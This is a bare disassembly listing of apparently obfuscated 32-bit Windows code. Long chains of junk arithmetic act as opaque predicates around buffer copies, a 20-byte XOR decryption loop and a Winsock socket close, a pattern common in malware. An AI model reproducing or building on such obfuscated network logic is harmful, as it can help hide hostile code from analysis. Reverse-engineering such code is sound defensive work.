xor edx, edx
div edi
xor eax, 0x7aecde84
sub eax, 0xe56978e2
sub eax, 0x37a5dcfb
add eax, 0x9525e136
and eax, 0xa4f260c8
sub eax, 0xc5509f7e
sub eax, 0x9b127144
and eax, 0x70504896
sub eax, 0x1c2d73aa
and eax, 0xd75b27ad
xor eax, 0xe4d25bd7
sub eax, 0x154493d3
sub eax, 0x548f2b3a
or eax, 0x46ca73d1
imul eax, eax, 0x1df486f4
add eax, 0x24420fea
sub eax, 0xc44fd419
or eax, 0x5234c473
add eax, 0x26e0ce91
and eax, 0xef453786
sub eax, 0x798fa9a4
mov edi, 0x378d58f3
xor edx, edx
div edi
or eax, 0x32dca8f
xor eax, 0x7269c94b
xor eax, 0xe16b27ab
and eax, 0x6d96ebd0
imul eax, eax, 0x802a63e7
mov edi, 0x3e474aad
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0xe4]
or edx, 0xc6240f44
xor edx, 0xab0ff16b
add edx, 0x8bcf5e4c
add edx, 0x7775e946
xor edx, 0x222569cf
or edx, 0xce0894af
mov dword [esi + 0x14], edx
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1003fe60
mov ecx, dword [esi + 0xf4]
mov edx, dword [esi + 0x3c]
add esp, 0xc
mov eax, dword [esi + 0xe4]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1003fe60
add esp, 0xc
mov eax, dword [esi + 0x3c]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1006bd11
mov ecx, dword [esi + 0x40]
add esp, 4
mov edx, eax
mov eax, dword [esi + 0x14]
mov ecx, dword [ecx]
mov dword [ecx], edx
cmp eax, 0x77325f17
jb 0x10055c95
jmp 0x100541ca
mov eax, dword [esi + 0x104]
mov dword [eax], 0
mov eax, dword [0x100c3b38]
and eax, dword [0x100c3b3c]
mov ecx, 0xb7e854a4
xor edx, edx
div ecx
imul eax, eax, 0x2fc37be
or eax, 0x12855e76
sub eax, 0x5c131301
add eax, 0x4a24884
or eax, 0xab4fc2c6
and eax, 0x3989fbb7
sub eax, 0x11732525
xor eax, 0x55bc8417
mov ecx, 0xadb8b010
xor edx, edx
div ecx
sub eax, 0x2539ec13
xor eax, 0x111ab022
sub eax, 0xb39e5971
sub eax, 0xfb396454
imul eax, eax, 0xd47fd29a
add eax, 0x7290f6cb
imul eax, eax, 0x7e5c3700
or eax, 0xecd78d16
xor eax, 0x52c4e886
mov ecx, 0x6c6f27e6
xor edx, edx
div ecx
mov ecx, 0x94c1b731
xor edx, edx
div ecx
imul eax, eax, 0x93d3ca32
sub eax, 0xfbf3fef6
imul eax, eax, 0xb0ada487
mov ecx, 0x2dee327e
xor edx, edx
div ecx
or eax, 0x2ff6c3bb
add eax, 0x62216125
imul eax, eax, 0xa5c58ac0
imul eax, eax, 0x47f2820b
and eax, 0x5bdd75e2
and eax, 0xad1471b4
and eax, 0x55840433
or eax, 0x6ac0df6
imul eax, eax, 0xf33b8145
mov ecx, 0x3ac67448
xor edx, edx
div ecx
or eax, 0x1e0f991f
xor eax, 0xd9aa852c
mov ecx, 0xc8d7ba72
xor edx, edx
div ecx
or eax, 0x6eb223de
and eax, 0xc3e30b2a
and eax, 0x2884687c
sub eax, 0xdeca0c05
imul eax, eax, 0xe802c8f
imul eax, eax, 0xd3fa235c
add eax, 0xf5d50769
mov ecx, 0x7d170292
xor edx, edx
div ecx
imul eax, eax, 0x7875bb2b
mov ecx, 0xa55a2c63
xor edx, edx
div ecx
sub eax, 0xc734db73
or eax, 0x3d437ac
imul eax, eax, 0x9920f4f8
imul eax, eax, 0x9c1378d2
and eax, 0x97149af3
imul eax, eax, 0xd14f8b8b
imul eax, eax, 0xc7a2a6e3
sub eax, 0x67f438a4
or eax, 0xdbc872b2
and eax, 0x74142b61
mov ecx, 0x37804ed3
xor edx, edx
div ecx
imul eax, eax, 0x1092c4ff
imul eax, eax, 0x135f93b1
mov ecx, 0xdabce1bb
xor edx, edx
div ecx
imul eax, eax, 0x623d428e
sub eax, 0xd2392e42
mov ecx, 0x41f6b161
xor edx, edx
div ecx
mov ecx, 0x7c4883dc
xor edx, edx
div ecx
and eax, 0xbe40e1f7
sub eax, 0x450c5d8d
sub eax, 0xf7c42a67
mov ecx, 0x7cb65d9c
xor edx, edx
div ecx
xor eax, 0x83cfb390
or eax, 0xc1f0273a
cmp eax, 0x582dfae1
jb 0x10055d1f
mov ecx, dword [esi + 0x104]
mov eax, dword [0x100c3b40]
xor edx, edx
div dword [0x100c3b44]
and eax, 0x7ae99c0f
or eax, 0xaf89084b
and eax, 0x75f9126
imul eax, eax, 0x7e69a2bf
mov edi, 0x4a83fa74
xor edx, edx
div edi
imul eax, eax, 0xc84ae9a4
sub eax, 0xe32c2a9e
mov edi, 0xd2550dfb
xor edx, edx
div edi
xor eax, 0x5af5065c
and eax, 0x2b9e15ab
or eax, 0x20bb32e9
mov edi, 0x1491334d
xor edx, edx
div edi
add eax, 0x52dfd65f
and eax, 0x280b9dc6
add eax, 0x3b5e40d4
xor eax, 0xd729a85d
or eax, 0x6374870c
or eax, 0xb0fa0fd9
add eax, 0x842d5818
add eax, 0x8650f12e
mov edi, 0x7778b02b
xor edx, edx
div edi
mov edi, 0x9e5347ed
xor edx, edx
div edi
mov edi, 0xc9fe3375
xor edx, edx
div edi
and eax, 0x7ac15618
xor eax, 0x7d2248ed
mov edi, 0xb0fbfc45
xor edx, edx
div edi
add eax, 0xdfef193
sub eax, 0x88621e0a
add eax, 0x5697bb9b
or eax, 0xe512d98f
imul eax, eax, 0xebad3696
xor eax, 0x85dfdfcd
mov edi, 0x1ef9d4bb
xor edx, edx
div edi
and eax, 0xa0c6d63d
mov edi, 0xf45bc8e5
xor edx, edx
div edi
imul eax, eax, 0x76efab74
and eax, 0x27c87b6f
xor eax, 0xe0f1f69c
sub eax, 0x419f9427
add eax, 0x6b18d7e8
and eax, 0xb84e120e
mov edi, 0x81db3fbd
xor edx, edx
div edi
sub eax, 0x7260492b
xor eax, 0x7e413d17
add eax, 0x342b9e8e
and eax, 0x126b058a
xor eax, 0xac5ae422
and eax, 0x2b68993f
or eax, 0xf6d4425f
imul eax, eax, 0xf12640ac
or eax, 0x1322bc94
add eax, 0x55572c14
sub eax, 0x6deb94b6
xor eax, 0x218f7383
add eax, 0x36a5a5b1
add eax, 0x28b1bb0b
and eax, 0xdcc848c3
or eax, 0x561ebfcb
and eax, 0x1a442290
sub eax, 0x1699de06
sub eax, 0x9e9a9371
imul eax, eax, 0x2743a396
mov edi, 0x671fd7b9
xor edx, edx
div edi
sub eax, 0x6ae06831
xor eax, 0x4c52509
and eax, 0xffccf7f
and eax, 0x691c42b5
imul eax, eax, 0xc34df94a
mov edi, 0xf7d20bab
xor edx, edx
div edi
add eax, 0xc23b6330
xor eax, 0xed8fa931
mov edi, 0x8cc27c13
xor edx, edx
div edi
mov edx, dword [esi + 0xe8]
mov ecx, dword [ecx]
cmp ecx, dword [edx]
setl cl
mov byte [esi + 0x13], cl
cmp eax, 0x6482e926
ja 0x10055d1f
mov al, byte [esi + 0x13]
test al, 1
jne 0x1005457f
jmp 0x1005507a
mov eax, dword [esi + 0xf0]
cmp dword [eax], 0
je 0x1005494c
mov eax, dword [0x100c3b48]
add eax, dword [0x100c3b4c]
mov ecx, 0x7777f51f
xor edx, edx
div ecx
sub eax, 0x70f83e6c
mov ecx, 0x97403347
xor edx, edx
div ecx
sub eax, 0xfcfee44c
and eax, 0xfcfcd181
imul eax, eax, 0x2c046d8e
add eax, 0xaa29d1cd
or eax, 0x49c192bb
add eax, 0x262a7235
imul eax, eax, 0xfc0d2e34
imul eax, eax, 0x7e349d02
xor eax, 0xe2bc9b9a
sub eax, 0xef50f46
and eax, 0x6dc518d6
imul eax, eax, 0x7537d89d
or eax, 0x66f0dac5
mov ecx, 0x21c8e9a4
xor edx, edx
div ecx
and eax, 0x8080f971
and eax, 0xbbe6e557
imul eax, eax, 0x6e071aec
mov ecx, 0x6f20babe
xor edx, edx
div ecx
xor eax, 0xb50aa8c2
mov ecx, 0xd149abfa
xor edx, edx
div ecx
imul eax, eax, 0xac45ca11
add eax, 0xbd30c33f
xor eax, 0x80417115
sub eax, 0xdae64a68
sub eax, 0xea5c378
and eax, 0xb1154d7e
sub eax, 0xad61d322
mov ecx, 0xf5398733
xor edx, edx
div ecx
imul eax, eax, 0x79d9f4e2
mov ecx, 0x43265490
xor edx, edx
div ecx
add eax, 0xd98e5def
xor eax, 0xbf8cbe37
imul eax, eax, 0x846f6cf6
sub eax, 0xdac69db7
mov ecx, 0x3f2bd551
xor edx, edx
div ecx
and eax, 0xab824f6b
imul eax, eax, 0xecc9aaea
or eax, 0x77e61b61
sub eax, 0x156a3f3c
mov ecx, 0xbea0c12d
xor edx, edx
div ecx
and eax, 0x6c157cf7
sub eax, 0xc08494fa
and eax, 0x7ca3a4f
add eax, 0xf0cbbb77
or eax, 0x5ef8c2e1
imul eax, eax, 0xe8bc8c04
mov ecx, 0x67b99946
xor edx, edx
div ecx
sub eax, 0x8df844fd
add eax, 0xcf9741cc
mov ecx, 0xb4f23d97
xor edx, edx
div ecx
imul eax, eax, 0x6dce6eb1
imul eax, eax, 0xea84767
and eax, 0xfaeddf45
mov ecx, 0xe65bf3bb
xor edx, edx
div ecx
mov ecx, 0x67325c32
xor edx, edx
div ecx
mov ecx, 0x21524067
xor edx, edx
div ecx
imul eax, eax, 0xf179f7b6
or eax, 0x20dcc1cb
and eax, 0xc628c192
xor eax, 0x773d9ff4
or eax, 0x239cb117
or eax, 0xf340121a
add eax, 0x99f9ddb2
imul eax, eax, 0xf617250b
mov ecx, 0x53b863b
xor edx, edx
div ecx
mov ecx, 0x25381bc0
xor edx, edx
div ecx
mov ecx, 0x9ce3deee
xor edx, edx
div ecx
sub eax, 0x9b1dc6f8
mov ecx, 0x1c39483d
xor edx, edx
div ecx
cmp eax, 0x936be97c
jae 0x10055d24
mov ecx, dword [esi + 0x104]
mov eax, dword [0x100c3b50]
imul eax, dword [0x100c3b54]
and eax, 0xf75021f0
add eax, 0x57afe137
or eax, 0x3db8dd81
mov edi, 0x26ac6b79
xor edx, edx
div edi
mov edi, 0xfb6adc5b
xor edx, edx
div edi
imul eax, eax, 0xccb07fc
xor eax, 0x2bc9329f
or eax, 0xf67bcd0f
and eax, 0x69264173
imul eax, eax, 0x5e7806d6
mov edi, 0x83444cfa
xor edx, edx
div edi
mov edi, 0x69d78dad
xor edx, edx
div edi
imul eax, eax, 0x27cd09be
and eax, 0xbae5a669
mov edi, 0x65e052a3
xor edx, edx
div edi
imul eax, eax, 0xde14ef65
imul eax, eax, 0xd16e16e7
or eax, 0x40c22a30
mov edi, 0x599b4605
xor edx, edx
div edi
imul eax, eax, 0x4fa66fe
mov edi, 0xfcdee141
xor edx, edx
div edi
sub eax, 0xbf9bb181
add eax, 0xb8be009b
or eax, 0x298506d7
sub eax, 0xe97df05
mov edi, 0x589755a7
xor edx, edx
div edi
or eax, 0x46609957
and eax, 0x2ed0a6b3
mov edi, 0xec4fe962
xor edx, edx
div edi
or eax, 0xc64a9053
imul eax, eax, 0x14dabb34
add eax, 0xae93def0
add eax, 0xf12d4e8b
mov edi, 0x488e67c1
xor edx, edx
div edi
sub eax, 0xb042707c
or eax, 0xa5407af5
sub eax, 0xf4c569e1
sub eax, 0x72fca090
and eax, 0x7f8d4f5a
add eax, 0x91d89fcb
imul eax, eax, 0xe5301afc
and eax, 0x501331ed
or eax, 0x4428fb80
sub eax, 0x78fc81f9
xor eax, 0xbafa7106
or eax, 0x4c6580a1
mov edi, 0xc1bbb095
xor edx, edx
div edi
add eax, 0x1c78e645
add eax, 0x9b66654
or eax, 0x17a020c7
add eax, 0x126f3716
add eax, 0x8b054145
sub eax, 0x655776b4
sub eax, 0xfa1867c1
mov edi, 0xb7744eea
xor edx, edx
div edi
sub eax, 0x2b055c1b
imul eax, eax, 0xba2ca4f0
sub eax, 0x922571d3
imul eax, eax, 0xdea52bd8
and eax, 0xad8133d2
sub eax, 0x5d269a63
imul eax, eax, 0x3852e755
and eax, 0x67ed6237
sub eax, 0x78321f58
xor eax, 0xeab8322
xor eax, 0x17852726
xor eax, 0x40a10701
mov edi, 0xc4198d98
xor edx, edx
div edi
sub eax, 0x72868215
xor eax, 0xe7b9f5c2
imul eax, eax, 0x2a84cebd
add eax, 0x6bc5d147
cmp dword [ecx], 0x2c
sete cl
mov byte [esi + 0x12], cl
cmp eax, 0x8eba23c5
jb 0x10054762
mov al, byte [esi + 0x12]
test al, 1
jne 0x10054940
jmp 0x1005494c
mov eax, dword [esi + 0xf8]
mov dword [eax], 0
mov eax, dword [esi + 0xf8]
mov ecx, dword [esi + 0xe4]
mov edx, dword [esi + 0x104]
mov edi, dword [esi + 0xf4]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
cmp dword [eax], 0x14
jl 0x10054d16
mov eax, dword [0x100c3b58]
and eax, dword [0x100c3b5c]
add eax, 0x6881c89e
sub eax, 0xba2e194e
xor eax, 0x37f06fb2
add eax, 0x53873261
or eax, 0x85cee823
imul eax, eax, 0x114afe87
xor eax, 0x48112e20
mov ecx, 0xae8edd88
xor edx, edx
div ecx
imul eax, eax, 0x92a3d6f8
xor eax, 0x4499d7
imul eax, eax, 0xe77e195c
or eax, 0xd4d3544c
xor eax, 0x1806fb46
xor eax, 0xbbbe3419
add eax, 0x4543139e
sub eax, 0xe359c431
or eax, 0xa6fe32d1
imul eax, eax, 0x583cd3b3
add eax, 0xb10ea505
sub eax, 0x5041eda0
and eax, 0xafa6a2ea
xor eax, 0xd4549129
or eax, 0x2c16bba8
and eax, 0x920e228b
mov ecx, 0xa9164136
xor edx, edx
div ecx
or eax, 0x697b1450
sub eax, 0x4ba33061
mov ecx, 0x27b83640
xor edx, edx
div ecx
imul eax, eax, 0x3f83570e
sub eax, 0xf106402a
sub eax, 0x4ad30432
or eax, 0x5481d4ae
and eax, 0x270555fd
sub eax, 0x921a2c1c
and eax, 0xc45b6a0f
sub eax, 0x6a0765fd
mov ecx, 0x54aca1dd
xor edx, edx
div ecx
add eax, 0xcb5c9354
and eax, 0x428ced09
or eax, 0x4a88fdf
sub eax, 0xebe5cfa4
xor eax, 0xda2b1e37
and eax, 0xf6fed0e
imul eax, eax, 0xa795a8cd
xor eax, 0x56aaefc0
or eax, 0xb67cfeb6
and eax, 0xeec0326e
mov ecx, 0x9655b51f
xor edx, edx
div ecx
add eax, 0x712a96d5
sub eax, 0xa36468be
or eax, 0xc0d2c81d
and eax, 0x6f7fa874
sub eax, 0xc480c5a8
xor eax, 0x1e4a7ad4
add eax, 0x33273053
xor eax, 0x1618206e
sub eax, 0xa51ff952
add eax, 0x556f70cc
xor eax, 0x605206e7
and eax, 0x4306f6a8
or eax, 0xf890b999
and eax, 0xb6e4a961
xor eax, 0xa3e7e1ea
add eax, 0xd27f3503
xor eax, 0x88b118bc
mov ecx, 0xde30add8
xor edx, edx
div ecx
xor eax, 0x5d7dbf4f
mov ecx, 0x2cd4c933
xor edx, edx
div ecx
and eax, 0xd54bcb89
imul eax, eax, 0x7ca43e9e
add eax, 0xeb3908c2
or eax, 0xa0637c39
cmp eax, 0xa63cbe2b
jbe 0x10055d29
mov eax, dword [0x100c3b60]
xor edx, edx
div dword [0x100c3b64]
xor eax, 0x915ae7a5
and eax, 0xe4d7bf2
sub eax, 0xe8baa97d
imul eax, eax, 0x9c20e65d
add eax, 0xe6993634
add eax, 0xc75ade3a
mov ecx, 0x70c32a3f
xor edx, edx
div ecx
sub eax, 0x507858d8
or eax, 0x26bd432d
or eax, 0x7ddbbe48
mov ecx, 0xd400f1b
xor edx, edx
div ecx
or eax, 0xe7bf5635
and eax, 0x11787c86
and eax, 0x1ff1cc4d
imul eax, eax, 0xf8e09b36
add eax, 0x34b2da11
or eax, 0xf898ce8c
xor eax, 0x4d288094
mov ecx, 0x61a512b
xor edx, edx
div ecx
sub eax, 0xf1dd1d3a
sub eax, 0x1d1d7e9e
sub eax, 0x290faa86
sub eax, 0xd5e4d49d
xor eax, 0xdbfd7a29
and eax, 0x3dda354
and eax, 0xf00b26b2
mov ecx, 0x43e6d9e6
xor edx, edx
div ecx
imul eax, eax, 0x7ebb19aa
mov ecx, 0xf11cbb46
xor edx, edx
div ecx
xor eax, 0x6a1d413e
mov ecx, 0x6328ad99
xor edx, edx
div ecx
mov ecx, 0xa92d00
xor edx, edx
div ecx
mov ecx, 0x3f9b430e
xor edx, edx
div ecx
xor eax, 0x747abc32
imul eax, eax, 0x3a388ae4
mov ecx, 0x411ba2f
xor edx, edx
div ecx
and eax, 0x32d0e636
sub eax, 0xced04008
mov ecx, 0x25a32959
xor edx, edx
div ecx
add eax, 0xaa0623a7
mov ecx, 0xd62d5b1d
xor edx, edx
div ecx
or eax, 0x1e7cc760
sub eax, 0x203ff705
imul eax, eax, 0xfe68b5a
add eax, 0x2c5d407b
and eax, 0x7afbf360
imul eax, eax, 0x27231f85
mov ecx, 0xe44e5dca
xor edx, edx
div ecx
imul eax, eax, 0xd89960ad
and eax, 0xe8fdc9bd
xor eax, 0xe730eb60
add eax, 0x90a62ded
or eax, 0x26b08427
xor eax, 0xec6607c
xor eax, 0x7520a33a
imul eax, eax, 0x8f68f65
imul eax, eax, 0x258a922b
sub eax, 0x18601d67
sub eax, 0x1a46393e
sub eax, 0x9d2ea090
add eax, 0xa179e058
imul eax, eax, 0xda6922b
imul eax, eax, 0x9b6ed4c8
add eax, 0x154f17c3
and eax, 0x5262eba9
mov ecx, 0xa7457b2d
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xf8]
and ecx, 0x9a889f0f
or ecx, 0x2d85abd3
xor ecx, 0x9a86e9dc
xor ecx, 0x1028413a
add ecx, 0x550103da
and ecx, 0x416c80f5
mov dword [esi + 0xc], ecx
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.10015af0
mov eax, dword [esi + 0xc]
add esp, 4
cmp eax, 0x3a51cb4c
jbe 0x10055d29
jmp 0x10054d16
mov eax, dword [0x100c3b68]
or eax, dword [0x100c3b6c]
xor eax, 0xb8e5ade5
sub eax, 0x23447659
add eax, 0x97e96415
imul eax, eax, 0x5ce5e503
and eax, 0x33e29d2f
and eax, 0x219cb9f9
and eax, 0x1c115833
xor eax, 0xeb717620
imul eax, eax, 0x4e921b28
sub eax, 0xad2df5aa
add eax, 0x146d61fb
sub eax, 0xd4db126
mov ecx, 0xae581f45
xor edx, edx
div ecx
mov ecx, 0x74e2a55b
xor edx, edx
div ecx
imul eax, eax, 0xceba1d9b
sub eax, 0x1349c481
or eax, 0xe2d2391f
add eax, 0x46889898
add eax, 0x2ab773f9
xor eax, 0x6e59dcbf
xor eax, 0x597ab4c2
sub eax, 0xeeb7df4
imul eax, eax, 0x518ddab4
or eax, 0xc83f01fb
imul eax, eax, 0xe58be900
mov ecx, 0xa1789008
xor edx, edx
div ecx
add eax, 0x2ae241d9
or eax, 0x873fac0
add eax, 0xf52651a5
xor eax, 0xcadd4f84
or eax, 0x91922b26
xor eax, 0xbf306112
or eax, 0x586468db
add eax, 0x1052232e
xor eax, 0x6c7eeca1
imul eax, eax, 0x721a1b1f
xor eax, 0xfcf3536b
xor eax, 0xa7bb9aaa
xor eax, 0x7071293c
or eax, 0x6d5db430
sub eax, 0x8eb2b9a9
and eax, 0xe4b659d4
and eax, 0x8a9c7c37
xor eax, 0xcafbfc6c
sub eax, 0x45dd7826
or eax, 0xf6c1799d
and eax, 0x9cac4b38
or eax, 0xcdddf39d
xor eax, 0xb24f22f1
xor eax, 0x81b84b39
or eax, 0x48a844f1
mov ecx, 0x592f316b
xor edx, edx
div ecx
sub eax, 0x25dcd3a8
mov ecx, 0x33d02e37
xor edx, edx
div ecx
add eax, 0x588d0fda
sub eax, 0x125649fd
and eax, 0x659fd8ee
mov ecx, 0x63dacc21
xor edx, edx
div ecx
imul eax, eax, 0x5cc947c6
and eax, 0x52dc517e
mov ecx, 0xd87a1e40
xor edx, edx
div ecx
mov ecx, 0xabeee329
xor edx, edx
div ecx
imul eax, eax, 0x4911b7
xor eax, 0xb5cd0384
sub eax, 0x2088fcf3
imul eax, eax, 0x49a15c05
xor eax, 0xa3dfd8c8
sub eax, 0xfc1f0234
add eax, 0x76fb998f
and eax, 0x66ef1ce
add eax, 0xac2376f7
xor eax, 0x46e1b9bb
cmp eax, 0x6f29ab59
jbe 0x10055d4c
mov eax, dword [0x100c3b70]
and eax, dword [0x100c3b74]
or eax, 0xd8a9d928
xor eax, 0x36ca196a
imul eax, eax, 0xbfa13edf
or eax, 0x18f36b4
xor eax, 0x98e1e709
add eax, 0xa7c450d
mov ecx, 0x8265d1a7
xor edx, edx
div ecx
imul eax, eax, 0xbb94d3f5
or eax, 0x43a48a1
sub eax, 0x6c730626
add eax, 0xcfbddafc
mov ecx, 0x93f92153
xor edx, edx
div ecx
add eax, 0xb4deb1a8
and eax, 0xc3af44b7
add eax, 0xe31884d1
sub eax, 0x872e0a97
imul eax, eax, 0x146c3987
add eax, 0x8fa11014
xor eax, 0x87b88d70
and eax, 0x1dfc3859
or eax, 0xe4bb63c5
mov ecx, 0x7a30ce75
xor edx, edx
div ecx
and eax, 0x6da47d09
add eax, 0x2401e609
add eax, 0x32027e01
add eax, 0x14e8700c
imul eax, eax, 0x23b6c97e
mov ecx, 0x50c8c6c2
xor edx, edx
div ecx
sub eax, 0x9700db2f
imul eax, eax, 0xb347bb70
sub eax, 0x7f1f9368
xor eax, 0x87ecd3a4
mov ecx, 0xb2a77807
xor edx, edx
div ecx
or eax, 0x7e5e8a50
sub eax, 0x533bd8c5
sub eax, 0x3248cc5
xor eax, 0x110dd568
xor eax, 0x80f03e9d
and eax, 0x47486047
or eax, 0x4fa715ae
and eax, 0x82b33baf
or eax, 0xb14d6e25
or eax, 0x72eb0a3b
xor eax, 0xd7fa99a2
add eax, 0xe4f3a83b
and eax, 0xe17a1908
add eax, 0x95fe5cca
add eax, 0x684ecab1
add eax, 0xf9674055
add eax, 0x723c3eb7
or eax, 0xedcb1bea
xor eax, 0x7e2227eb
add eax, 0x55e5ea6c
or eax, 0xab072a6
add eax, 0x2ad49360
add eax, 0xa26e5e89
and eax, 0x9379f3ce
mov ecx, 0x5f119ba8
xor edx, edx
div ecx
sub eax, 0x7bf2b06a
xor eax, 0x3bf6e7cc
sub eax, 0x7704f47a
or eax, 0xf7507fd
xor eax, 0xe1f0724f
xor eax, 0x1ceee7b8
imul eax, eax, 0x837ac95
mov ecx, 0x9388df0a
xor edx, edx
div ecx
mov ecx, 0x52972a68
xor edx, edx
div ecx
imul eax, eax, 0xd06638ef
xor eax, 0x163e77da
imul eax, eax, 0xae7b576f
add eax, 0xa4a88250
or eax, 0x3e8e3e03
cmp eax, 0x682d5744
jb 0x10055d4c
jmp 0x10055068
mov eax, dword [esi + 0x104]
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x100541d6
mov ecx, dword [esi + 0xe4]
mov edi, dword [esi + 0xec]
mov eax, dword [esi + 0xe8]
mov edx, dword [esi + 0x40]
mov ebx, dword [esi + 0xf0]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1006ebe0
mov edx, dword [esi + 0xe8]
mov ecx, dword [esi + 0xec]
mov eax, dword [esi + 0xe4]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1006f6e0
add esp, 0xc
mov eax, dword [0x100c3b78]
sub eax, dword [0x100c3b7c]
and eax, 0x4b7dfad2
mov ecx, 0xbe9295dc
xor edx, edx
div ecx
imul eax, eax, 0xe2be4b23
add eax, 0xd9c40ba2
imul eax, eax, 0x21fef2e0
xor eax, 0x4aa1eb32
add eax, 0x45f71911
or eax, 0xfd1a5cff
and eax, 0x50b0889d
add eax, 0x833929ba
add eax, 0x27a45a78
xor eax, 0x21af62ba
or eax, 0x7ebf7ca1
or eax, 0x833ec00
or eax, 0xf562c286
or eax, 0xc0ff66ff
sub eax, 0xbe89c806
add eax, 0xf0ce3c93
or eax, 0xccff5bb8
xor eax, 0xdeed6ee7
xor eax, 0xe30b9a4f
xor eax, 0xa172a0f7
and eax, 0x8db7e73
mov ecx, 0x77763e0b
xor edx, edx
div ecx
and eax, 0x40fa63ed
or eax, 0x570f2a5c
or eax, 0x1543603d
sub eax, 0x60b6332d
or eax, 0xafa2ac57
imul eax, eax, 0xd09e08b8
sub eax, 0x65e6f593
mov ecx, 0x71919e2b
xor edx, edx
div ecx
imul eax, eax, 0x1d5c54ea
or eax, 0xb2dc1dca
or eax, 0x27d5aaea
mov ecx, 0x4ff507e3
xor edx, edx
div ecx
sub eax, 0xde0b498b
or eax, 0x26587fc4
mov ecx, 0x8f8b63a8
xor edx, edx
div ecx
add eax, 0xca846c9b
sub eax, 0x7706d5ec
xor eax, 0xc4763f57
mov ecx, 0x77f2f565
xor edx, edx
div ecx
and eax, 0xd1b26f0b
imul eax, eax, 0xe1fbdaf6
imul eax, eax, 0xedd884e2
add eax, 0x79c939d9
add eax, 0xdd85d9db
mov ecx, 0x445cb3a8
xor edx, edx
div ecx
or eax, 0x2c20cb3
imul eax, eax, 0xccec0d2d
and eax, 0x75943dc1
xor eax, 0x8c26a6fd
xor eax, 0x6b202732
and eax, 0x10f8d0a4
mov ecx, 0x41304e3b
xor edx, edx
div ecx
xor eax, 0xc2388c37
sub eax, 0x940f181a
and eax, 0xc70d3939
sub eax, 0x4fb8977e
or eax, 0x5cad2e0c
add eax, 0xc0e9afae
and eax, 0x9fed93ee
sub eax, 0x9e128f01
imul eax, eax, 0xf66e7f87
sub eax, 0x2ce02609
imul eax, eax, 0xdbde0cd1
mov ecx, 0xe823fb93
xor edx, edx
div ecx
mov ecx, 0x9b988bcf
xor edx, edx
div ecx
xor eax, 0x53623f55
and eax, 0x4bc2333e
imul eax, eax, 0x32f94829
cmp eax, 0x529d232e
je 0x10055d51
mov ecx, dword [esi + 0xe8]
mov eax, dword [0x100c3b80]
xor edx, edx
div dword [0x100c3b84]
imul eax, eax, 0xb1d774bd
and eax, 0x765bcedc
xor eax, 0xdf62d483
imul eax, eax, 0x916b5503
and eax, 0xddfee4db
or eax, 0x6c635e73
or eax, 0x3252ce5
add eax, 0xe7ba5433
xor eax, 0x99d44dce
xor eax, 0x62ac07e9
or eax, 0x861b492c
xor eax, 0xc76a6756
or eax, 0xc402e0be
sub eax, 0xb0340294
mov edi, 0x598c7f96
xor edx, edx
div edi
add eax, 0x2c380d10
mov edi, 0x575a1d32
xor edx, edx
div edi
imul eax, eax, 0x293df484
xor eax, 0x34ee23bb
or eax, 0x1c0c0e41
xor eax, 0x55bc8403
and eax, 0xa90e266a
sub eax, 0x71d5e5ee
xor eax, 0x284079fb
and eax, 0x690e5ee8
xor eax, 0x22185711
xor eax, 0x9303dc8b
imul eax, eax, 0xd92ffd31
and eax, 0x1696317c
xor eax, 0xd13910dd
add eax, 0xf1237a57
sub eax, 0xf296a1e6
or eax, 0xabe2021e
and eax, 0xda3c8735
imul eax, eax, 0x36e7984f
xor eax, 0x7afbea6e
mov edi, 0x7feb302e
xor edx, edx
div edi
add eax, 0x47572d7d
and eax, 0xbdf46ece
imul eax, eax, 0x6999c108
add eax, 0xc48010bf
or eax, 0x3c24a59b
sub eax, 0x8855fc41
add eax, 0x44af1e79
imul eax, eax, 0xc9ad4542
sub eax, 0x8263aa0c
xor eax, 0x67890687
xor eax, 0xa766f2d3
add eax, 0x6575a4b8
mov edi, 0x8340647a
xor edx, edx
div edi
sub eax, 0x4b23f9b9
sub eax, 0x75a8f443
add eax, 0x1cf486a
and eax, 0x96855a79
and eax, 0x3360fc1e
add eax, 0x2ec648a9
mov edi, 0xbd38afcc
xor edx, edx
div edi
and eax, 0x24e88fb
sub eax, 0x7ab583cb
and eax, 0x99d8baa4
imul eax, eax, 0x91c7b4c6
sub eax, 0x2e794c89
xor eax, 0x11682bb4
add eax, 0x3057d502
and eax, 0xe519842d
sub eax, 0xd4d852a7
or eax, 0x1b7ec433
mov edi, 0xdea97b2b
xor edx, edx
div edi
add eax, 0x603e3316
mov edi, 0x8d959fc1
xor edx, edx
div edi
sub eax, 0x3b4c028e
and eax, 0x9ae739ce
cmp dword [ecx], 0
setg cl
mov byte [esi + 0xb], cl
cmp eax, 0xf87b3146
jae 0x100552a1
mov al, byte [esi + 0xb]
test al, 1
jne 0x10053945
jmp 0x10055464
mov eax, dword [esi + 0xd4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x38]
mov edx, dword [edx]
mov edx, dword [edx]
mov edi, dword [edx]
sub edi, 0x2c
mov dword [edx], edi
mov edx, dword [ecx]
mov edx, dword [edx]
add edx, 0x2c
